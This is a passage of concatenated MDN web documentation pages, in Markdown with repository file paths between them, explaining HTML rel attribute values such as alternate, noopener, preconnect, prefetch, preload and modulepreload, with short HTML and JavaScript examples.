does not create any links. {{htmlelement('a')}} and {{htmlelement('area')}} will still created links, but without a defined relationship. ## Values - `alternate` - : Indicates an alternate representation of the current document. Valid for {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, the meaning depends on the values of the other attributes. - With the [`stylesheet`](#stylesheet) keyword on a `<link>`, it creates an [alternate stylesheet](/en-US/docs/Web/CSS/Alternative_style_sheets). ```html <!-- a persistent style sheet --> <link rel="stylesheet" href="default.css" /> <!-- alternate style sheets --> <link rel="alternate stylesheet" href="highcontrast.css" title="High contrast" /> ``` - With an [`hreflang`](/en-US/docs/Web/HTML/Element/link#hreflang) attribute that differs from the document language, it indicates a translation. - With the [`type`](/en-US/docs/Web/HTML/Element/link#type) attribute value of `"application/rss+xml"`or `"application/atom+xml"`, it creates a hyperlink referencing a syndication feed. ```html <link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog" /> ``` - Otherwise, it creates a hyperlink referencing an alternate representation of the current document, whose nature is given by the [`hreflang`](/en-US/docs/Web/HTML/Element/link#hreflang) and [`type`](/en-US/docs/Web/HTML/Element/link#type) attributes. - If `hreflang` is given alongside `alternate`, and the value of `hreflang` is different from the current document's language, it indicates that the referenced document is a translation. - If `type` is given alongside `alternate`, it indicates that the referenced document is an alternative format (such as a PDF). - The `hreflang` and `type` attributes may both be given alongside `alternate`. ```html <link rel="alternate" href="/fr/html/print" hreflang="fr" type="text/html" media="print" title="French HTML (for printing)" /> <link rel="alternate" href="/fr/pdf" hreflang="fr" type="application/pdf" title="French PDF" /> ``` - `author` - : Indicates the referenced document provides further information about the author of the current document or article. Relevant for {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}} elements. With {{htmlelement('a')}} and {{htmlelement('area')}}, it indicates the linked document (or `mailto:`) provides information about the author of the nearest {{htmlelement('article')}} ancestor if there is one, otherwise the entire document. With {{htmlelement('link')}}, it represents the author of the entire document. > **Note:** For historical reasons, the obsolete attribute value `rev="made"` is treated as `rel="author"`. - `bookmark` - : Relevant as the `rel` attribute value for the {{htmlelement('a')}} and {{htmlelement('area')}} elements. Gives a permalink for the nearest ancestor {{htmlelement('article')}} element, if there is one. If there is no ancestor `<article>` element, gives a permalink for the section the linking element is most closely associated with. - `canonical` - : Valid for {{htmlelement('link')}}, it defines the preferred URL for the current document, which helps search engines reduce duplicate content. - `dns-prefetch` - : Relevant for the {{htmlelement('link')}} element both in the {{htmlelement('body')}} and {{htmlelement('head')}}, it tells the browser to preemptively perform DNS resolution for the target resource's origin. Useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed DNS resolution for the origin of the specified resource. See [dns-prefetch](/en-US/docs/Web/Performance/dns-prefetch) described in [resource hints](https://w3c.github.io/resource-hints/). - `external` - : Relevant to {{htmlelement('form')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, it indicates the referenced document is not part of the current site. This can be used with attribute selectors to style external links in a way that indicates to the user that they will be leaving the current site. - `help` - : Relevant to {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, the `help` keyword indicates that the linked to content provides context-sensitive help, providing information for the parent of the element defining the hyperlink, and its children. When used within `<link>`, the help is for the whole document. When included with {{htmlelement('a')}} and {{htmlelement('area')}} and supported, the default {{cssxref('cursor')}} will be `help` instead of `pointer`. - `icon` - : Valid with {{htmlelement('link')}}, the linked resource represents the icon, a resource for representing the page in the user interface, for the current document. The most common use for the `icon` value is the favicon: ```html <link rel="icon" href="favicon.ico" /> ``` If there are multiple `<link rel="icon">`s, the browser uses their [`media`](/en-US/docs/Web/HTML/Element/link#media), [`type`](/en-US/docs/Web/HTML/Element/link#type), and [`sizes`](/en-US/docs/Web/HTML/Element/link#sizes) attributes to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. > **Note:** The [`crossorigin`](/en-US/docs/Web/HTML/Attributes/crossorigin) attribute is not supported for `rel="icon"` in Chromium-based browsers. See the [open Chromium issue](https://crbug.com/1121645). > **Note:** Apple's iOS does not use this link type, nor the [`sizes`](/en-US/docs/Web/HTML/Element/link#sizes) attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. > Instead it uses the non-standard [`apple-touch-icon`](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4) and [`apple-touch-startup-image`](https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6) respectively. > **Note:** The `shortcut` link type is often seen before `icon`, but this link type is non-conforming, ignored and **web authors must not use it anymore**. - `license` - : Valid on the {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}} elements, the `license` value indicates that the hyperlink leads to a document describing the licensing information; that the main content of the current document is covered by the copyright license described by the referenced document. If not inside the {{HTMLElement("head")}} element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this. ```html <link rel="license" href="#license" /> ``` > **Note:** Although recognized, the synonym `copyright` is incorrect and must be avoided. - `manifest` {{Experimental_Inline}} - : [Web app manifest](/en-US/docs/Web/Manifest). Requires the use of the CORS protocol for cross-origin fetching. - `modulepreload` - : Useful for improved performance, and relevant to the {{htmlelement('link')}} anywhere in the document, setting `rel="modulepreload"` tells the browser to preemptively fetch the script (and dependencies) and store it in the document's module map for later evaluation. `modulepreload` links can ensure network fetching is done with the module ready (but not evaluated) in the module map before it is necessarily needed. See also [`modulepreload`](/en-US/docs/Web/HTML/Attributes/rel/modulepreload). - `next` - : Relevant to {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, the `next` values indicates that the current document is a part of a series, and that the next document in the series is the referenced document. When included in a `<link>`, browsers may assume that document will be fetched next, and treat it as a resource hint. - `nofollow` - : Relevant to {{htmlelement('form')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, the `nofollow` keyword tells search engine spiders to ignore the link relationship. The nofollow relationship may indicate the current document's owner does not endorse the referenced document. It is often included by Search Engine Optimizers pretending their link farms are not spam pages. - `noopener` - : Relevant to {{htmlelement('form')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate `target` attribute value). In other words, it makes the link behave as if [`window.opener`](/en-US/docs/Web/API/Window/opener) were null and `target="_parent"` were set. This is the opposite of [`opener`](#opener). - `noreferrer` - : Relevant to {{htmlelement('form')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, including this value makes the referrer unknown (no `Referer` header will be included), and creates a top-level browsing context as if `noopener` were also set. - `opener` - : Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). Effectively, the opposite of [noopener](#noopener). - `pingback` - : Gives the address of the pingback server that handles pingbacks to the current document. See the [Pingback specification](https://www.hixie.ch/specs/pingback/pingback). - `preconnect` - : Provides a hint to the browser suggesting that it open a connection to the linked website in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly. - `prefetch` - : Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. See {{Glossary("prefetch")}} for more information. - `preload` - : Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the [`as`](/en-US/docs/Web/HTML/Element/link#as) attribute (and the priority associated with the corresponding destination). See the page for the [`preload`](/en-US/docs/Web/HTML/Attributes/rel/preload) value. - `prerender` {{Deprecated_Inline}} {{Non-standard_Inline}} - : Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future, for example by fetching its subresources or performing some rendering. - `prev` - : Similar to the [`next`](#next) keyword, relevant to {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}}, the `prev` values indicates that the current document is a part of a series, and that the link references a previous document in the series is the referenced document. Note: The synonym `previous` is incorrect and should not be used. - `privacy-policy` - : Valid for {{htmlelement('a')}}, {{htmlelement('area')}}, and {{htmlelement('link')}} elements, the `privacy-policy` value indicates that the referenced document is the Privacy Policy which describes the data collection and usage practices of the current document. - `search` - : Relevant to {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, and {{htmlelement('area')}} elements, the `search` keywords indicates that the hyperlink references a document whose interface is specially designed for searching in the current document, site, and related resources, providing a link to a resource that can be used to search. If the [`type`](/en-US/docs/Web/HTML/Element/link#type) attribute is set to `application/opensearchdescription+xml` the resource is an [OpenSearch](/en-US/docs/Web/OpenSearch) plugin that can be easily added to the interface of Firefox. - `stylesheet` - : Valid for the {{htmlelement('link')}} element, it imports an external resource to be used as a stylesheet. The [`type`](/en-US/docs/Web/HTML/Element/link#type) attribute is not needed as it's a `text/css` stylesheet, as that is the default value. If it's not a stylesheet of type `text/css` it is best to declare the type. While this attribute defines the link as being a stylesheet, the interaction with other attributes and other key terms within the rel value impact whether the stylesheet is downloaded and/or used. When used with the [`alternate`](#alternate) keyword, it defines an alternative style sheet. In this case, include a non-empty [`title`](/en-US/docs/Web/HTML/Element/link#title). The external stylesheet will not be used or even downloaded if the media does not match the value of the [`media`](/en-US/docs/Web/HTML/Element/link#media) attribute. Requires the use of the CORS protocol for cross-origin fetching. - `tag` - : Valid for the {{htmlelement('a')}}, and {{htmlelement('area')}} elements, it gives a tag (identified by the given address) that applies to the current document. The tag value denotes that the link refers to a document describing a tag applying to the document on which it is located. This link type is not meant for tags within a tag cloud, as those tags apply to a group of pages, whereas the `tag` value of the `rel` attribute is for a single document. - `terms-of-service` - : Valid for {{htmlelement('a')}}, {{htmlelement('area')}}, and {{htmlelement('link')}} elements, the `terms-of-service` value indicates that the referenced document is the Terms of Service that describes the agreements between the current document's provider and users who wish to use the document provided. ### Non-standard values - `apple-touch-icon` - : Specifies the icon for a web application on an iOS device. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{domxref("HTMLLinkElement.relList")}} - {{domxref("HTMLAnchorElement.relList")}} - {{domxref("HTMLAreaElement.relList")}}
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/me/index.md
--- title: rel=me slug: Web/HTML/Attributes/rel/me page-type: html-attribute-value browser-compat: html.elements.link.rel.me --- {{HTMLSidebar}} The **`me`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} and {{HTMLElement("a")}} elements indicates that the current resource is represented by the linked party. The `me` value was introduced in the [XHTML Friends Network (XFN) specification](https://gmpg.org/xfn/). ```html <link rel="me" value="example.com" /> ``` The `rel="me"` attribute is used in [RelMeAuth](https://microformats.org/wiki/RelMeAuth) and [Web sign in](https://microformats.org/wiki/web-sign-in) specifications as a way to enable a person to identify themselves to a web service using their domain name or a particular URL. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/noopener/index.md
--- title: rel=noopener slug: Web/HTML/Attributes/rel/noopener page-type: html-attribute-value browser-compat: html.elements.a.rel.noopener --- {{HTMLSidebar}} The **`noopener`** keyword for the [`rel`](/en-US/docs/Web/HTML/Attributes/rel) attribute of the {{HTMLElement("a")}}, {{HTMLElement("area")}}, and {{HTMLElement("form")}} elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the {{DOMxRef("Window.opener")}} property on the opened window (it returns `null`). This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the {{DOMxRef("Window.opener")}} property (see [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/) for more details), while still providing the `Referer` HTTP header (unless `noreferrer` is used as well). Note that when `noopener` is used, nonempty target names other than `_top`, `_self`, and `_parent` are all treated like `_blank` in terms of deciding whether to open a new window/tab. > **Note:** Setting `target="_blank"` on `<a>` elements now implicitly provides the same `rel` behavior as setting `rel="noopener"` which does not set `window.opener`. See [browser compatibility](/en-US/docs/Web/HTML/Element/a#browser_compatibility) for support status. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/preconnect/index.md
--- title: rel=preconnect slug: Web/HTML/Attributes/rel/preconnect page-type: html-attribute-value browser-compat: html.elements.link.rel.preconnect --- {{HTMLSidebar}} The **`preconnect`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. Preconnecting speeds up future loads from a given origin by preemptively performing part or all of the handshake (DNS+TCP for HTTP, and DNS+TCP+TLS for HTTPS origins). `<link rel="preconnect">` will provide a benefit to any future cross-origin HTTP request, navigation or subresource. It has no benefit on same-origin requests because the connection is already open. If a page needs to make connections to many third-party domains, preconnecting them all can be counterproductive. The `<link rel="preconnect">` hint is best used for only the most critical connections. For the others, just use [`<link rel="dns-prefetch">`](/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) to save time on the first step — the DNS lookup. ## Examples ```html <link rel="preconnect" href="https://example.com" /> ``` You can also implement preconnect as an HTTP [Link](/en-US/docs/Web/HTTP/Headers/Link) header, for example: ```http Link: <https://example.com>; rel="preconnect" ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="preconnect">` and other similar performance improvement features.
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/noreferrer/index.md
--- title: rel=noreferrer slug: Web/HTML/Attributes/rel/noreferrer page-type: html-attribute-value browser-compat: html.elements.a.rel.noreferrer --- {{HTMLSidebar}} The **`noreferrer`** keyword for the [`rel`](/en-US/docs/Web/HTML/Attributes/rel) attribute of the {{HTMLElement("a")}}, {{HTMLElement("area")}}, and {{HTMLElement("form")}} elements instructs the browser, when navigating to the target resource, to omit the {{HTTPHeader("Referer")}} header and otherwise leak no referrer information — and additionally to behave as if the [`noopener`](/en-US/docs/Web/HTML/Attributes/rel/noopener) keyword were also specified. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/manifest/index.md
--- title: rel=manifest slug: Web/HTML/Attributes/rel/manifest page-type: html-attribute-value status: - experimental browser-compat: html.elements.link.rel.manifest --- {{HTMLSidebar}}{{SeeCompatTable}} The **`manifest`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} element indicates that the target resource is a [Web app manifest](/en-US/docs/Web/Manifest). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/prefetch/index.md
--- title: rel=prefetch slug: Web/HTML/Attributes/rel/prefetch page-type: html-attribute-value browser-compat: html.elements.link.rel.prefetch --- {{HTMLSidebar}} The **`prefetch`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} element provides a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. `<link rel="prefetch">` is used for same-site navigation resources, or for subresources used by same-site pages. The result is kept in the HTTP cache on disk. Because of this it is useful for prefetching subresources, even if they are not used by the current page. You could also use it to prefetch the next document the user will likely visit on the site. However, as a result you need to be careful with headers — for example certain [Cache-Control](/en-US/docs/Web/HTTP/Headers/Cache-Control) headers could block prefetching (for example `no-cache` or `no-store`). > **Note:** Because of such limitations, you are advised to use the [Speculation Rules API](/en-US/docs/Web/API/Speculation_Rules_API) for document prefetches instead, where it is supported. `<link rel="prefetch">` is functionally equivalent to a {{domxref("fetch()")}} call with a `priority: "low"` option set on it, except that the former will generally have an even lower priority, and it will have a [`Sec-Purpose: prefetch`](/en-US/docs/Web/HTTP/Headers/Sec-Purpose) header set on the request. Note that in general browsers will give prefetch resources a lower priority than preload ones (e.g. requested via [`<link rel="preload">`](/en-US/docs/Web/HTML/Attributes/rel/preload)) — the current page is more important than the next. The fetch request for a `prefetch` operation results in an HTTP request that includes the HTTP header [`Sec-Purpose: prefetch`](/en-US/docs/Web/HTTP/Headers/Sec-Purpose). A server might use this header to change the cache timeouts for the resources, or perform other special handling. The request will also include the {{HTTPHeader("Sec-Fetch-Dest")}} header with the value set to `empty`. The {{HTTPHeader("Accept")}} header in the request will match the value used for normal navigation requests. This allows the browser to find the matching cached resources following navigation. ## Examples ### Basic prefetch ```js <link rel="prefetch" href="main.js" /> ``` ### Navigation and subresource prefetches Prefetching can be used to fetch both HTML and sub-resources for a possible next navigation. A common use case is to have a simple website landing page that fetches more "heavy-weight" resources used by the rest of the site. ```html <link rel="prefetch" href="/app/style.css" /> <link rel="prefetch" href="/landing-page" /> ``` ### The effects of cache partitioning Many browsers now implement some form of [cache partitioning](https://developer.chrome.com/en/blog/http-cache-partitioning/), which makes `<link rel="prefetch">` useless for resources intended for use by different top-level sites. This includes the main document when navigating cross-site. So, for example, the following prefetch: ```html <link rel="prefetch" href="https://news.example/article" /> ``` Would not be accessible from `https://aggregator.example/`. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="prefetch">` and other similar performance improvement features.
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/preload/index.md
--- title: rel=preload slug: Web/HTML/Attributes/rel/preload page-type: html-attribute-value browser-compat: html.elements.link.rel.preload --- {{HTMLSidebar}} The `preload` value of the {{htmlelement("link")}} element's [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute lets you declare fetch requests in the HTML's {{htmlelement("head")}}, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in. This ensures they are available earlier and are less likely to block the page's render, improving performance. Even though the name contains the term _load_, it doesn't load and execute the script but only schedules it to be downloaded and cached with a higher priority. ## The basics You most commonly use `<link>` to load a CSS file to style your page with: ```html <link rel="stylesheet" href="styles/main.css" /> ``` Here however, we will use a `rel` value of `preload`, which turns `<link>` into a preloader for any resource we want. You will also need to specify: - The path to the resource in the [`href`](/en-US/docs/Web/HTML/Element/link#href) attribute. - The type of resource in the [`as`](/en-US/docs/Web/HTML/Element/link#as) attribute. A simple example might look like this (see our [JS and CSS example source](https://github.com/mdn/html-examples/tree/main/link-rel-preload/js-and-css), and [also live](https://mdn.github.io/html-examples/link-rel-preload/js-and-css/)): ```html <head> <meta charset="utf-8" /> <title>JS and CSS preload example</title> <link rel="preload" href="style.css" as="style" /> <link rel="preload" href="main.js" as="script" /> <link rel="stylesheet" href="style.css" /> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> ``` Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the `<link rel="stylesheet">` and `<script>` elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example: - Resources that are pointed to from inside CSS, like fonts or images. - Resources that JavaScript can request, like JSON, imported scripts, or web workers. - Larger images and video files. `preload` has other advantages too. Using `as` to specify the type of content to be preloaded allows the browser to: - Prioritize resource loading more accurately. - Store in the cache for future requests, reusing the resource if appropriate. - Apply the correct [content security policy](/en-US/docs/Web/HTTP/CSP) to the resource. - Set the correct {{HTTPHeader("Accept")}} request headers for it. ### What types of content can be preloaded? Many content types can be preloaded. The possible `as` attribute values are: - `audio`: Audio file, as typically used in {{htmlelement("audio")}}. - `document`: An HTML document intended to be embedded by a {{htmlelement("frame")}} or {{htmlelement("iframe")}}. - `embed`: A resource to be embedded inside an {{htmlelement("embed")}} element. - `fetch`: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer, WebAssembly binary, or JSON file. - `font`: Font file. - `image`: Image file. - `object`: A resource to be embedded inside an {{htmlelement("object")}} element. - `script`: JavaScript file. - `style`: CSS stylesheet. - `track`: WebVTT file. - `worker`: A JavaScript web worker or shared worker. - `video`: Video file, as typically used in {{htmlelement("video")}}. > **Note:** `font` and `fetch` preloading requires the `crossorigin` attribute to be set; see [CORS-enabled fetches](#cors-enabled_fetches) below. > **Note:** There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see [link element extensions](https://w3c.github.io/preload/#link-element-extensions). Also note that the full list of values the `as` attribute can take is governed by the Fetch spec — see [request destinations](https://fetch.spec.whatwg.org/#concept-request-destination). ## Including a MIME type `<link>` elements can accept a [`type`](/en-US/docs/Web/HTML/Element/link#type) attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the `type` attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not. You can see an example of this in our video example (see the [full source code](https://github.com/mdn/html-examples/tree/main/link-rel-preload/video), and also [the live version](https://mdn.github.io/html-examples/link-rel-preload/video/)), a code snippet from which is shown below. This illustrates the core behavior behind preloading in general. ```html <head> <meta charset="utf-8" /> <title>Video preload example</title> <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4" /> </head> <body> <video controls> <source src="sintel-short.mp4" type="video/mp4" /> <source src="sintel-short.webm" type="video/webm" /> <p> Your browser doesn't support HTML video. Here is a <a href="sintel-short.mp4">link to the video</a> instead. </p> </video> </body> ``` The code in the example above causes the `video/mp4` video to be preloaded only in supporting browsers — and for users who have `video/mp4` support in their browsers, causes the `video/mp4` video to actually be used (since it's the first {{htmlelement("source")}} specified). That makes the video player hopefully smoother/more responsive for users who have `video/mp4` support in their browsers. Note that for users whose browsers have both `video/mp4` and `video/webm` support, if in that code a `<link rel="preload" href="sintel-short.webm" as="video" type="video/webm">` element were also specified, then _both_ the `video/mp4` and `video/webm` videos would be preloaded — even though only one of them would actually be used. Therefore, specifying preloading for multiple types of the same resource is discouraged. Instead, the best practice is to specify preloading only for the type the majority of your users are likely to actually use. That's why the code in the example above doesn't specify preloading for the `video/webm` video. However, the lack of preloading doesn't prevent the `video/webm` video from actually being used by those who need it: for users whose browsers don't have `video/mp4` support but do have `video/webm` support, the code in the example above does still cause the `video/webm` video to be used — but it does so without also causing it to also be preloaded unnecessarily for the majority of other users. ## CORS-enabled fetches When preloading resources that are fetched with [CORS](/en-US/docs/Web/HTTP/CORS) enabled (e.g. [`fetch()`](/en-US/docs/Web/API/fetch), [`XMLHttpRequest`](/en-US/docs/Web/API/XMLHttpRequest) or [fonts](/en-US/docs/Web/CSS/@font-face)), special care needs to be taken to setting the [`crossorigin`](/en-US/docs/Web/HTML/Element/link#crossorigin) attribute on your [`<link>`](/en-US/docs/Web/HTML/Element/link) element. The attribute needs to be set to match the resource's CORS and credentials mode, even when the fetch is not cross-origin. As mentioned above, one interesting case where this applies is font files. Because of various reasons, these have to be fetched using anonymous-mode CORS (see [Font fetching requirements](https://drafts.csswg.org/css-fonts/#font-fetching-requirements)). Let's use this case as an example. You can see the full [example source code on GitHub](https://github.com/mdn/html-examples/tree/main/link-rel-preload/fonts) ([also see it live](https://mdn.github.io/html-examples/link-rel-preload/fonts/)): ```html <head> <meta charset="utf-8" /> <title>Web font example</title> <link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin /> <link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin /> <link href="style.css" rel="stylesheet" /> </head> <body> … </body> ``` Not only are we providing the MIME type hints in the `type` attributes, but we are also providing the `crossorigin` attribute to make sure the preload's CORS mode matches the eventual font resource request. ## Including media One nice feature of `<link>` elements is their ability to accept [`media`](/en-US/docs/Web/HTML/Element/link#media) attributes. These can accept [media types](/en-US/docs/Web/CSS/@media#media_types) or full-blown [media queries](/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries), allowing you to do responsive preloading! Let's look at an example (see it on GitHub — [source code](https://github.com/mdn/html-examples/tree/main/link-rel-preload/media), [live example](https://mdn.github.io/html-examples/link-rel-preload/media/)): ```html <head> <meta charset="utf-8" /> <title>Responsive preload example</title> <link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)" /> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)" /> <link rel="stylesheet" href="main.css" /> </head> <body> <header> <h1>My site</h1> </header> <script> const mediaQueryList = window.matchMedia("(max-width: 600px)"); const header = document.querySelector("header"); if (mediaQueryList.matches) { header.style.backgroundImage = "url(bg-image-narrow.png)"; } else { header.style.backgroundImage = "url(bg-image-wide.png)"; } </script> </body> ``` We include `media` attributes on our `<link>` elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} to do this (see [Testing media queries](/en-US/docs/Web/CSS/CSS_media_queries/Testing_media_queries) for more). This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text). This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful. ## Scripting and preloads > **Note:** Use [`<link rel="modulepreload">`](/en-US/docs/Web/HTML/Attributes/rel/modulepreload) instead if you are working with [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules). Another nice thing about these preloads is that you can execute them with script. For example, here we create a {{domxref("HTMLLinkElement")}} instance, then attach it to the DOM: ```js const preloadLink = document.createElement("link"); preloadLink.href = "myscript.js"; preloadLink.rel = "preload"; preloadLink.as = "script"; document.head.appendChild(preloadLink); ``` This means that the browser will preload the `myscript.js` file, but not actually use it yet. To use it, you could do this: ```js const preloadedScript = document.createElement("script"); preloadedScript.src = "myscript.js"; document.body.appendChild(preloadedScript); ``` This is useful when you want to preload a script, but then defer execution until exactly when you need it. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="preload">` and other similar performance improvement features. - [Preload: What Is It Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) by Yoav Weiss
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/dns-prefetch/index.md
--- title: rel=dns-prefetch slug: Web/HTML/Attributes/rel/dns-prefetch page-type: html-attribute-value browser-compat: html.elements.link.rel.dns-prefetch --- {{HTMLSidebar}} The **`dns-prefetch`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin. See [Using dns-prefetch](/en-US/docs/Web/Performance/dns-prefetch) for more details. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="dns-prefetch">` and other similar performance improvement features.
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/prerender/index.md
--- title: rel=prerender slug: Web/HTML/Attributes/rel/prerender page-type: html-attribute-value status: - deprecated - non-standard browser-compat: html.elements.link.rel.prerender --- {{HTMLSidebar}}{{Deprecated_Header}}{{Non-standard_header}} The **`prerender`** keyword for the [`rel`](/en-US/docs/Web/HTML/Element/link#rel) attribute of the {{HTMLElement("link")}} element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen. This feature is superceded by the [Speculation Rules API](/en-US/docs/Web/API/Speculation_Rules_API). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Speculative loading](/en-US/docs/Web/Performance/Speculative_loading) for a comparison of `<link rel="prerender">` and other similar performance improvement features.
0
data/mdn-content/files/en-us/web/html/attributes/rel
data/mdn-content/files/en-us/web/html/attributes/rel/modulepreload/index.md
--- title: rel=modulepreload slug: Web/HTML/Attributes/rel/modulepreload page-type: html-attribute-value browser-compat: html.elements.link.rel.modulepreload --- {{HTMLSidebar}} The **`modulepreload`** keyword, for the [`rel`](/en-US/docs/Web/HTML/Attributes/rel) attribute of the {{HTMLElement("link")}} element, provides a declarative way to preemptively fetch a [module script](/en-US/docs/Web/JavaScript/Guide/Modules), parse and compile it, and store it in the document's module map for later execution. Preloading allows modules and their dependencies to be downloaded early, and can also significantly reduce the overall download and processing time. This is because it allows pages to fetch modules in parallel, instead of sequentially as each module is processed and its dependencies are discovered. Note however that you can't just preload everything! What you choose to preload must be balanced against other operations that might then be starved, adversely affecting user experience. Links with `rel="modulepreload"` are similar to those with [`rel="preload"`](/en-US/docs/Web/HTML/Attributes/rel/preload). The main difference is that `preload` just downloads the file and stores it in the cache, while `modulepreload` gets the module, parses and compiles it, and puts the results into the module map so that it is ready to execute. When using `modulepreload` the fetch request mode is always [`cors`](/en-US/docs/Web/API/Request/mode#cors), and the [`crossorigin`](/en-US/docs/Web/HTML/Attributes/crossorigin) property is used to determine the request [credential mode](/en-US/docs/Web/API/Request/credentials). If `crossorigin` is set to [`anonymous`](/en-US/docs/Web/HTML/Attributes/crossorigin#anonymous) or [`""`](/en-US/docs/Web/HTML/Attributes/crossorigin#sect1) 